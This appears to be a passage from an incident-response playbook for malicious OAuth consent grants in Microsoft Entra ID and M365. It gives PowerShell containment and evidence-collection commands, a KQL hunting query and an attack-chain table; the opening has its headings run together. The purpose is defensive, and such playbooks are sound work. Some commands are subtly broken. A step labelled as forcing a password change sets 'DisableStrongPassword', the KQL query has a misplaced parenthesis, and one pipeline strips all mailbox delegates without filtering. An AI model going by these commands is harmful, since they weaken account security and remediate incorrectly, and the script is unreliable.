Entra ID → Audit logs → Filter by “Consent to application” operationsCompliance.microsoft.com → Audit → Search “Consent” or “Add delegated permission grant”AuditLogs (Entra ID operations)SigninLogs (user authentication events)CloudAppEvents (SaaS application usage)On-Premises Artifacts:
$PSHOME\Modules\PSReadline\ConsoleHost_history.txt (command history)Forensic Evidence:
1. Isolate (Immediate - 0-5 minutes)
Disable User Account(s):
# Disable user who granted consent or whose data may be exposed
Disable-MgUser -UserId "victim@target-org.com"
# Disable the malicious app
Update-MgApplication -ApplicationId "malicious-app-id" -Disabled $true
# Revoke all refresh tokens (forces re-authentication)
Revoke-MgUserSignInSession -UserId "victim@target-org.com"
Manual Steps (Azure Portal):
Revoke OAuth Consent (Critical):
# Find the malicious app's service principal
$maliciousApp = Get-MgServicePrincipal -Filter "appId eq 'malicious-app-id'"
# Revoke all OAuth2 permission grants
Get-MgOAuth2PermissionGrant -Filter "clientId eq '$($maliciousApp.AppId)'" |
Remove-MgOAuth2PermissionGrant
Manual Steps (Azure Portal):
2. Collect Evidence (5-30 minutes)
Export Audit Logs:
# Export all OAuth-related audit events for past 7 days
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -Operations "Consent to application", "Add delegated permission grant" -ResultSize 5000 |
Export-Csv -Path "C:\Evidence\OAuth_Audit.csv" -NoTypeInformation
# Export sign-in logs to correlate with consent grant
Get-MgAuditLogSignIn -Filter "createdDateTime ge 2026-01-08T00:00:00Z" |
Export-Csv -Path "C:\Evidence\SigninLogs.csv" -NoTypeInformation
Manual Steps (Microsoft Purview):
Preserve App Registration Details:
# Export all app registration details
Get-MgApplication -Filter "appId eq 'malicious-app-id'" | ConvertTo-Json | Out-File "C:\Evidence\MaliciousApp_Details.json"
# List all users who consented
Get-MgOAuth2PermissionGrant -Filter "clientId eq 'malicious-app-id'" |
ForEach-Object { Get-MgUser -UserId $_.principalId } |
Export-Csv -Path "C:\Evidence\Affected_Users.csv"
Capture Mailbox Access Logs:
# Find mailbox access by malicious app
Search-MailboxAuditLog -Identity "victim@target-org.com" -LogonType ApplicationImpersonation -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) |
Export-Csv -Path "C:\Evidence\Mailbox_Access.csv"
3. Remediate (30-120 minutes)
Reset Passwords & Force Re-authentication:
# Reset password for affected user
$newPassword = ConvertTo-SecureString -String (New-Guid).ToString().Replace("-", "").Substring(0, 20) -AsPlainText -Force
Set-MgUserPassword -UserId "victim@target-org.com" -NewPassword $newPassword
# Force re-authentication globally
Revoke-MgUserSignInSession -UserId "victim@target-org.com"
# Require password change on next sign-in
Update-MgUser -UserId "victim@target-org.com" -PasswordPolicies "DisablePasswordExpiration, DisableStrongPassword"
Set-MgUserPassword -UserId "victim@target-org.com" -EnforceChangePasswordPolicy $true
Delete Malicious App:
# WARNING: This is irreversible. Ensure this is the correct app.
$maliciousApp = Get-MgApplication -Filter "appId eq 'malicious-app-id'"
Remove-MgApplication -ApplicationId $maliciousApp.Id
Audit & Remove Data Exfiltration:
# Check for email forwarding rules created by malicious app
Get-InboxRule -Mailbox "victim@target-org.com" |
Where-Object { $_.ForwardingAddress -or $_.ForwardingSmtpAddress }
# Remove suspicious forwarding rules
Remove-InboxRule -Mailbox "victim@target-org.com" -Identity "rule-name" -Confirm:$false
# Check for Outlook delegates added
Get-MailboxDelegate -Identity "victim@target-org.com" |
Remove-MailboxDelegate -Confirm:$false
4. Monitor & Hunt (Ongoing)
Launch Threat Hunt:
// Find all affected users by same malicious app
AuditLogs
| where OperationName == "Consent to application"
| extend AppId = tostring(parse_json(tostring(TargetResources[0]))).appId
| where AppId == "malicious-app-id"
| extend User = tostring(InitiatedBy.user.userPrincipalName)
| summarize count() by User, TimeGenerated
| order by TimeGenerated desc
Hunt for Lateral Movement:
# Check if attacker used granted access to pivot to other users
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -Operations "Add-MailboxDelegate", "Set-InboxRule", "Add-MailboxPermission" -ResultSize 5000 |
Export-Csv -Path "C:\Evidence\Lateral_Movement.csv"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-002] Consent Grant OAuth Attacks | Attacker sends phishing email with OAuth authorization link |
| 2 | Initial Access | [IA-PHISH-003] OAuth Consent Screen Cloning | Attacker spoofs Microsoft consent page to capture credentials |
| 3 | Privilege Escalation | [PE-ACCTMGMT-001] App Registration Permissions Escalation | Attacker registers malicious app with excessive delegated permissions |
| 4 | Current Step | [SAAS-API-009] | Third-Party App Permission Abuse – User grants consent to malicious app |
| 5 | Persistence | [PERSIST-M365-001] Exchange Online Rule Creation | Attacker creates mail forwarding rules via OAuth token |
| 6 | Exfiltration | [EXFIL-M365-001] Mailbox Data Exfiltration via API | Attacker downloads entire mailbox via Microsoft Graph API |
| 7 | Impact | [IMPACT-M365-001] Business Email Compromise | Attacker impersonates victim to send phishing to organization |